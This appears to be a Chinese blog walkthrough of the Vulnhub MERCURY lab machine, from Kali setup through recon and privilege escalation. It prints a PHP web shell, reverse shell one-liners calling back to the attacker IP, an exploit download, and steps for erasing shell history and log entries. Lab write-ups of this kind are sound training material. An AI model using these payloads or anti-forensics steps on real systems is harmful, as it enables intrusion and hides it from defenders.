1. 项目概述一次从零开始的靶场渗透实战最近在整理自己的渗透测试学习笔记翻到了之前搞定Vulnhub上MERCURY靶机的完整记录。这个靶机挺有意思它不像一些“直给”的靶机路径非常清晰而是需要你像在真实环境里一样去摸索、去试错最后才能拿到那个宝贵的root shell。整个过程涉及信息收集、Web应用漏洞利用、服务枚举、权限提升等多个环节算是一个比较综合的练习。更重要的是在复现这个靶机的过程中我踩了不少关于环境配置的坑尤其是在Kali Linux和靶机网络连通性上折腾了好一阵子。所以这篇记录不仅会复盘整个提权流程更会重点分享那些“一不留神就掉进去”的配置陷阱和解决方法希望能帮你绕过这些弯路把精力集中在真正的技术挑战上。简单来说这篇内容适合所有对渗透测试实战感兴趣的朋友无论你是刚入门的新手还是想通过靶机巩固技能的老兵。我会尽量把每个步骤的“为什么”讲清楚并提供可以直接复制粘贴的命令和配置。毕竟实战中一个正确的环境往往比一个炫酷的漏洞利用脚本更重要。2. 环境准备与初始配置避坑指南工欲善其事必先利其器。在开始对MERCURY靶机“动手”之前一个稳定、互联互通的环境是基石。这部分往往是教程里一笔带过但实际操作中最容易出问题的地方。我把自己踩过的坑和解决方案都整理在这里了。2.1 虚拟化平台与网络模式选择首先你需要一个虚拟化软件来运行你的攻击机通常是Kali Linux和靶机MERCURY的OVA文件。VMware Workstation Pro/Player 和 VirtualBox 是最常见的选择两者都可以。核心避坑点一网络模式这是导致“靶机找不到”或“无法访问”的首要原因。强烈建议使用Host-Only仅主机或NAT网络模式并将攻击机和靶机置于同一虚拟网络中。为什么是Host-Only/NAT桥接模式Bridged虽然能让虚拟机像真机一样接入你的物理网络但可能会遇到IP冲突、公司网络策略限制等问题导致连接不稳定。Host-Only模式创建一个完全隔离的虚拟网络只有宿主机和虚拟机之间可以通信最干净、最可控。NAT模式则让虚拟机通过宿主机的IP上网同时虚拟机之间也能互通也是很好的选择。实操步骤以VMware为例在VMware的“编辑”菜单中打开“虚拟网络编辑器”。确保你有一个VMnet例如VMnet1对应Host-Only模式是启用状态。记下它的子网IP比如192.168.111.0。将你的Kali虚拟机网络适配器设置为“自定义”并选择刚才确认的VMnet如VMnet1。导入MERCURY的OVA文件后同样将其网络适配器设置为同一个VMnet。启动两台虚拟机。注意如果你使用VirtualBox概念类似需要在“管理”-“主机网络管理器”中创建一个虚拟网络并为每台虚拟机选择“Host-Only Adapter”并指向同一个网络接口。2.2 Kali Linux 基础配置与工具更新默认的Kali安装后有几件事最好先做一下能避免后续工具运行报错。核心避坑点二软件源与工具更新直接使用默认国外源可能速度很慢。更换为国内镜像源能极大提升体验。# 备份原有源列表 sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak # 使用编辑器如nano修改源列表这里以阿里云镜像为例 sudo nano /etc/apt/sources.list将文件内容替换为适用于Kali Rolling版本deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib保存退出后执行更新sudo apt update sudo apt upgrade -y sudo apt dist-upgrade -yapt update是更新软件包列表upgrade是升级已安装的包dist-upgrade会处理依赖关系的变更。这个过程可能需要一些时间。核心避坑点三关键工具的手动检查有些工具在渗透测试中至关重要但可能不会默认安装或需要特定版本。在开始前最好检查一下# 检查nmap版本 nmap --version # 检查netcat通常需要安装nc或ncat which nc which ncat # 如果都没有安装它们 sudo apt install netcat-traditional netcat-openbsd ncat -y # 检查Python3和pip python3 --version pip3 --version # 安装常用的Python渗透库 pip3 install requests beautifulsoup4 lxml2.3 靶机导入与网络连通性测试导入MERCURY的OVA文件后先不要急着启动靶机进行扫描。有一个关键步骤确定靶机的IP地址。在Host-Only网络下它通常会自动从虚拟网络的DHCP服务器获取一个IP。方法一在攻击机Kali上扫描启动靶机后在Kali中运行sudo netdiscover -r 192.168.111.0/24请将192.168.111.0/24替换为你实际虚拟网络的网段。netdiscover是一个ARP侦查工具能快速发现同一局域网内存活的主机及其MAC地址。找到不属于你Kali的、新出现的IP那很可能就是靶机。方法二查看靶机控制台有些靶机会在启动后的登录界面或初始信息中显示IP地址留意控制台输出的信息。核心避坑点四防火墙与SELinux针对某些Linux靶机虽然Vulnhub靶机通常已做好配置但如果你遇到服务能扫描到却无法访问的情况比如80端口开放但浏览器打不开可能需要检查靶机内部的防火墙。这需要你通过某种方式比如后续获得的shell进入靶机后操作。常见的命令是# 查看防火墙状态CentOS/RHEL系 sudo systemctl status firewalld # 临时关闭 sudo systemctl stop firewalld # 永久关闭不推荐用于生产环境仅靶场学习 sudo systemctl disable firewalld # 对于Ubuntu/Debian系可能使用ufw sudo ufw status sudo ufw disable提示在真实的渗透测试中盲目关闭安全设施是不现实的我们需要学习如何绕过或利用它们。但在靶场环境中为了排除干扰、聚焦漏洞本身暂时禁用是可以接受的。3. 信息收集与漏洞初步探测拿到靶机IP假设为192.168.111.128后我们就要开始像侦探一样收集信息了。信息收集的广度与深度直接决定了后续渗透路径的效率和成功率。3.1 端口扫描与服务识别这是最基础也是最关键的一步。我们使用nmap进行全端口扫描并尝试识别服务版本和操作系统。sudo nmap -sS -sV -sC -O -p- 192.168.111.128 -oN nmap_initial.txt-sS: SYN半开放扫描速度快且相对隐蔽。-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行更深入的探测。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口。-oN nmap_initial.txt: 将标准格式结果输出到文件。扫描结果可能是这样的PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 3306/tcp open mysql MySQL 5.5.5-10.3.22-MariaDB-0deb10u1 8080/tcp open http-proxy?从结果看靶机开放了SSH22、HTTP80、MySQL3306和一个未知的8080端口服务。Web服务80和8080通常是很好的突破口。3.2 Web应用目录与文件枚举针对80端口我们使用gobuster或dirb来暴力破解隐藏的目录和文件。gobuster dir -u http://192.168.111.128 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -o gobuster_80.txtdir: 指定目录扫描模式。-u: 目标URL。-w: 使用的字典文件Kali自带多种common.txt是个不错的起点。-x: 尝试这些后缀。-o: 输出结果。同时不要忘记用浏览器手动访问http://192.168.111.128和http://192.168.111.128:8080直观地查看网站内容、源代码CtrlU、以及JavaScript文件寻找注释、隐藏链接、API接口等线索。核心技巧并发扫描与结果分析对于8080端口或其他服务可以并行进行扫描。将nmap和gobuster的结果合并分析。例如如果80端口没什么发现但8080端口跑gobuster发现了/admin或/upload目录那么攻击重点就应该转移到8080端口的应用上。同时检查nmap -sC脚本输出的结果里面可能包含了有用的信息比如HTTP标题、robots.txt内容等。3.3 特定服务深入探查对于发现的MySQL服务3306虽然直接爆破root密码可能比较困难但可以留意一下。更重要的是如果我们在Web端找到了数据库的连接信息比如配置文件config.php、db_connect.php就可以尝试连接。mysql -h 192.168.111.128 -u username -p如果Web应用存在SQL注入漏洞那更是直接通往数据库的大门。我们需要使用sqlmap这样的工具进行自动化检测和利用但手动测试使用单引号触发错误是第一步。4. 漏洞利用与初始立足点获取假设通过信息收集我们在8080端口的Web应用上发现了一个文件上传功能并且没有对文件类型和内容进行有效过滤。这是获取初始shell的经典路径。4.1 文件上传漏洞利用很多Web应用允许用户上传图片但后端代码可能只检查了文件扩展名如.jpg, .png或者通过MIME类型判断而没有检查文件内容。我们可以尝试上传一个包含Web Shell代码的PHP文件。制作Web Shell创建一个简单的PHP文件例如shell.php。?php system($_GET[cmd]); ?这个脚本会执行通过URL参数cmd传递的系统命令。绕过前端检查如果网页有JavaScript检查文件扩展名可以尝试先上传一个合法的.jpg文件用Burp Suite截获请求然后将文件名和文件内容都改为shell.php。将文件命名为shell.php.jpg或shell.phtml看服务器是否解析。上传与访问成功上传后通过浏览器访问这个文件的URL例如http://192.168.111.128:8080/uploads/shell.php。如果页面没有报错说明可能上传成功了。4.2 建立反向Shell连接Web Shell虽然能执行命令但交互性很差。我们需要一个反向Shell让靶机主动连接到我们攻击机的监听端口从而获得一个完整的交互式终端。在攻击机Kali上开启监听nc -nvlp 4444-n禁止DNS解析-v详细输出-l监听模式-p指定端口4444。通过Web Shell触发反向连接 在浏览器中访问http://192.168.111.128:8080/uploads/shell.php?cmdnc-e/bin/bash192.168.111.1294444这里的192.168.111.129是你的Kali攻击机在Host-Only网络中的IP。nc -e /bin/bash ...是旧版netcat的参数表示连接成功后执行bash。如果靶机上的netcat不支持-e参数比如OpenBSD版本的nc需要换用其他方法例如# 使用bash bash -i /dev/tcp/192.168.111.129/4444 01 # 使用Python python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.111.129,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);将这些命令进行URL编码后通过cmd参数传递。获取初始Shell如果一切顺利你会在Kali的nc监听窗口看到连接建立并出现一个命令提示符可能是$这表示你已经以Web服务运行用户如www-data的身份获得了靶机的一个初始立足点。重要心得反向Shell经常因为编码、空格、特殊字符或靶机环境问题而失败。多准备几种Payloadbash, python, perl, php等并使用Burp Suite的Repeater模块进行编码和测试能大大提高成功率。获得Shell后第一时间用python3 -c import pty; pty.spawn(/bin/bash)或script /dev/null -c bash来升级为一个功能更全的TTY Shell方便使用Tab补全、方向键等。5. 内部信息枚举与横向移动拿到初始shell后我们从一个低权限用户如www-data变成了系统内部的“游客”。接下来要做的就是仔细探索这个系统寻找提升权限的线索。5.1 系统基础信息收集在获得的shell中执行一系列命令来绘制系统地图# 查看当前用户和权限 id whoami sudo -l # 非常重要查看当前用户能以sudo方式执行哪些命令 # 查看系统信息 uname -a cat /etc/os-release hostname # 查看网络连接和监听端口 netstat -antup ss -tulpn # 查看进程列表 ps aux ps aux | grep root # 查看root运行的进程寻找异常或可利用的服务 # 查看计划任务 crontab -l ls -la /etc/cron* /var/spool/cron/ # 查看可写文件或目录 find / -type f -writable -user www-data 2/dev/null | head -20 find / -type d -writable -user www-data 2/dev/null | head -20sudo -l是重中之重。如果返回类似(ALL : ALL) NOPASSWD: /usr/bin/find的结果就意味着我们可以以root身份无需密码运行find命令这通常可以直接用来提权。5.2 敏感文件与配置搜寻Web应用、数据库、备份文件、SSH密钥、历史命令等都可能泄露敏感信息。# 查看Web目录配置文件 find /var/www /opt -name *.php -o -name *.env -o -name config* 2/dev/null | xargs grep -l password\|PASS\|secret\|KEY 2/dev/null # 查看用户主目录 ls -la /home/ ls -la /root/ 2/dev/null # 尝试访问root目录通常没权限 cat ~/.bash_history cat ~/.ssh/id_rsa 2/dev/null # 查看私钥 # 查看数据库凭证如果Web应用使用数据库 cat /var/www/html/config.php 2/dev/null cat /var/www/html/inc/db_connect.inc 2/dev/null例如可能在/var/www/html/inc目录下找到一个settings.inc.php文件里面包含了MySQL数据库的连接用户名和密码。5.3 利用数据库信息进行横向移动如果找到了数据库密码并且这个密码在系统其他用户甚至root上重用那么我们就可能实现权限提升。连接数据库mysql -u dbuser -p # 输入找到的密码探查数据库show databases; use target_database; show tables; select * from users; -- 假设有users表用户表里可能存储着其他系统的用户名和密码可能是明文也可能是哈希。如果密码是哈希值如MD5可以尝试在线网站如crackstation.net或本地工具如John the Ripper, hashcat进行破解。尝试密码重用# 尝试切换到其他用户 su - anotheruser # 输入从数据库找到的密码或破解后的密码 # 或者尝试SSH登录 ssh anotheruserlocalhost如果anotheruser拥有更高的权限比如在sudo组里我们就成功实现了横向移动获得了更高权限的shell。6. 权限提升路径分析与实施在MERCURY靶机中经过内部枚举我们可能会发现多种提权路径。这里我模拟两种最常见的场景进行详细拆解。6.1 利用SUID特权程序提权SUIDSet User ID是Linux的一种特殊权限它允许用户以文件所有者的权限来执行文件。如果某个属于root且设置了SUID位的程序存在漏洞就可能被用来提权。查找SUID文件find / -type f -perm -4000 -user root 2/dev/null这条命令会找出所有属于root且设置了SUID位的可执行文件。识别危险程序在结果中寻找一些已知存在提权方法的程序例如findvim/vibash(较新版本默认不行)less/morenmap(旧版本交互模式)cp/mv利用find命令提权举例 如果sudo -l显示我们可以以root身份运行find或者find本身是SUID root的那么# 方法1直接执行命令 find . -exec /bin/sh \; -quit # 这会在当前目录执行find并触发 -exec 参数以root权限运行 /bin/sh # 方法2如果上面不行尝试通过sudo sudo find /home -exec /bin/sh \;执行成功后你会获得一个root权限的shell。检查一下whoami应该返回root。核心原理-exec参数会让find对找到的每个文件执行后面的命令。由于find以root权限运行它执行的/bin/sh也就继承了root权限。关键在于我们并不关心它找到了什么文件.代表当前目录我们只关心-exec这个动作被触发。6.2 利用内核漏洞提权如果系统内核版本较旧存在公开的本地提权漏洞LPE那么我们可以编译并运行漏洞利用程序Exploit来直接获取root权限。这通常是最直接但也最“暴力”的方法。识别系统内核版本uname -a cat /proc/version输出类似Linux mercury 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux搜索漏洞利用代码根据内核版本和操作系统在攻击机上搜索可能的漏洞。可以使用searchsploitKali自带searchsploit linux kernel 4.19 privilege escalation或者去知名的漏洞库网站如Exploit-DB手动查找。上传与编译假设找到了一个名为45010.c的漏洞利用代码。我们需要将它从攻击机上传到靶机。在攻击机开启一个HTTP服务python3 -m http.server 8000在靶机的shell中下载cd /tmp # 通常/tmp目录可写 wget http://192.168.111.129:8000/45010.c编译它需要靶机有gccgcc 45010.c -o exploit如果靶机没有gcc你可能需要在攻击机编译好编译时加-static静态链接再上传二进制文件或者寻找用其他语言如Python编写的Exploit。运行Exploitchmod x exploit ./exploit如果漏洞存在且利用成功你会看到提示并且用户ID变为0root。重要注意事项内核漏洞利用有一定风险可能导致系统崩溃蓝屏/死机。在靶场环境中无所谓但在真实授权的渗透测试中需极其谨慎最好在测试环境验证过。同时现代系统通常有安全机制如SELinux, AppArmor, 内核保护措施如KASLR, SMEP, SMAP可能会使一些老的Exploit失效。7. 后渗透清理与痕迹管理在成功获得root权限并完成目标比如找到flag文件后作为一个负责任的渗透测试者或学习者应该清理自己留下的痕迹避免被蓝队发现。当然在Vulnhub靶机中这步不是必须的但了解流程很重要。清除命令历史Shell命令通常记录在~/.bash_history或~/.zsh_history中。# 清除当前用户的命令历史 history -c # 清除内存中的历史 rm ~/.bash_history ln -s /dev/null ~/.bash_history # 删除文件并链接到空设备未来命令也不记录 # 如果需要清除其他用户的历史需要相应权限清除日志文件Linux系统日志通常存放在/var/log/目录下。需要清除与你的IP地址、用户名或特定操作相关的日志条目。# 查看相关日志 grep -r 192.168.111.129 /var/log/ 2/dev/null grep -r www-data /var/log/ 2/dev/null | grep -i accept\|session\|login # 手动编辑日志文件删除相关行使用sed或vi # 例如清除auth.log中关于SSH登录的记录谨慎操作会破坏日志完整性 # sed -i /192.168.111.129/d /var/log/auth.log # 更激进的做法清空整个日志文件痕迹非常明显 # /var/log/auth.log # /var/log/syslog警告在真实环境中完全清空日志是一种非常明显的入侵迹象。高级的做法是只删除与自己相关的条目或者通过日志注入来混淆视听。蓝队会检查日志文件的完整性如使用logwatch或auditd。删除上传的工具和文件删除你在/tmp、/dev/shm或Web目录上传的所有文件。rm -f /tmp/exploit /tmp/shell.php /tmp/linpeas.sh结束建立的连接和进程检查并杀死你留下的后门进程或连接。ps aux | grep -E nc.*4444|bash.*reverse kill -9 PID8. 常见问题排查与实战心得在整个MERCURY靶机实战和环境配置中我遇到了不少问题。这里把一些典型问题和解决方法列出来希望能帮你快速排雷。8.1 网络连通性问题速查表问题现象可能原因排查步骤与解决方案Kali无法ping通靶机IP1. 虚拟机网络模式不一致2. 靶机未获取IP3. 防火墙阻止1. 检查两者是否在同一VMnet/Host-Only网络。2. 在靶机控制台执行ip a或ifconfig查看IP。3. 在靶机临时关闭防火墙sudo ufw disable或systemctl stop firewalld。能ping通但端口扫描无结果1. 靶机服务未启动2. 靶机防火墙规则限制3. nmap命令有误1. 重启靶机。2. 检查靶机iptables规则sudo iptables -L。3. 使用sudo nmap -sS -p 22,80,443 靶机IP指定端口扫描。浏览器能访问80端口但8080端口无法访问1. 8080端口服务未运行2. 服务绑定在127.0.0.13. 应用层防火墙/配置1. 靶机上netstat -tulpn | grep :8080确认。2. 检查服务配置文件看是否绑定到0.0.0.0。3. 可能是Web应用自身的访问控制。8.2 漏洞利用失败原因分析文件上传失败除了前端校验后端可能还有内容校验如图片头文件GIF89a、重命名、移动到非Web目录等。尝试制作图片马cat shell.php normal.jpg然后上传normal.jpg再结合文件包含漏洞执行。尝试其他后缀.phtml,.php5,.phar。使用Burp Suite拦截修改Content-Type为image/jpeg。反向Shell连接不上检查监听端Kali上执行sudo netstat -tulpn | grep 4444确认nc在正确监听。检查Payload确保IP和端口正确并且命令语法对靶机环境有效如nc版本。使用URL编码。检查出站限制靶机可能有防火墙阻止出站连接。尝试其他端口如53, 443, 8443。尝试其他方法如果nc不行务必准备Python、Bash、Perl、PHP等多种反向Shell的Payload。提权Exploit编译/运行失败缺少依赖编译时提示缺少头文件尝试apt install libc6-dev。内核版本不匹配Exploit可能针对特定内核版本不兼容会导致崩溃或无效。防护机制如/proc/sys/kernel/randomize_va_space值为2KASLR开启会干扰一些Exp。可以尝试关闭仅靶场echo 0 /proc/sys/kernel/randomize_va_space。架构问题确保Exploit是用于x86_64还是ARM与靶机匹配。8.3 个人实战心得与技巧信息收集要耐心不要看到一个登录框就急着爆破。花70%的时间在信息收集上nmap的-sC和-sV输出、网页源代码、JS文件、robots.txt、/backup目录、甚至错误信息都可能是突破口。MERCURY靶机的入口点可能就在一个不起眼的JS文件注释里或者一个默认的开发者页面。工具不是万能的自动化工具如sqlmap,hydra很好用但理解其原理更重要。手动测试一个简单的和 and 11能帮你更快地判断是否存在注入点。对于文件上传手动修改Burp请求比单纯改文件名更有效。权限提升要有条理拿到低权限shell后按顺序检查sudo -l- SUID文件 - 计划任务 - 内核漏洞 - 环境变量 - 其他运行中的服务。使用像linpeas或linenum这样的自动化脚本可以辅助但手动分析能加深理解。MERCURY靶机可能就藏着一个配置错误的sudo规则。环境隔离与快照在开始复杂的漏洞利用或提权尝试前为虚拟机制作一个快照。如果操作失误导致靶机崩溃或状态混乱可以快速回滚节省大量时间。记录与复盘像我这样用文档记录每一步的命令、输出和思考过程。这不仅是为了写文章更是加深记忆、形成方法论的关键。遇到错误时详细的记录能帮你快速定位问题。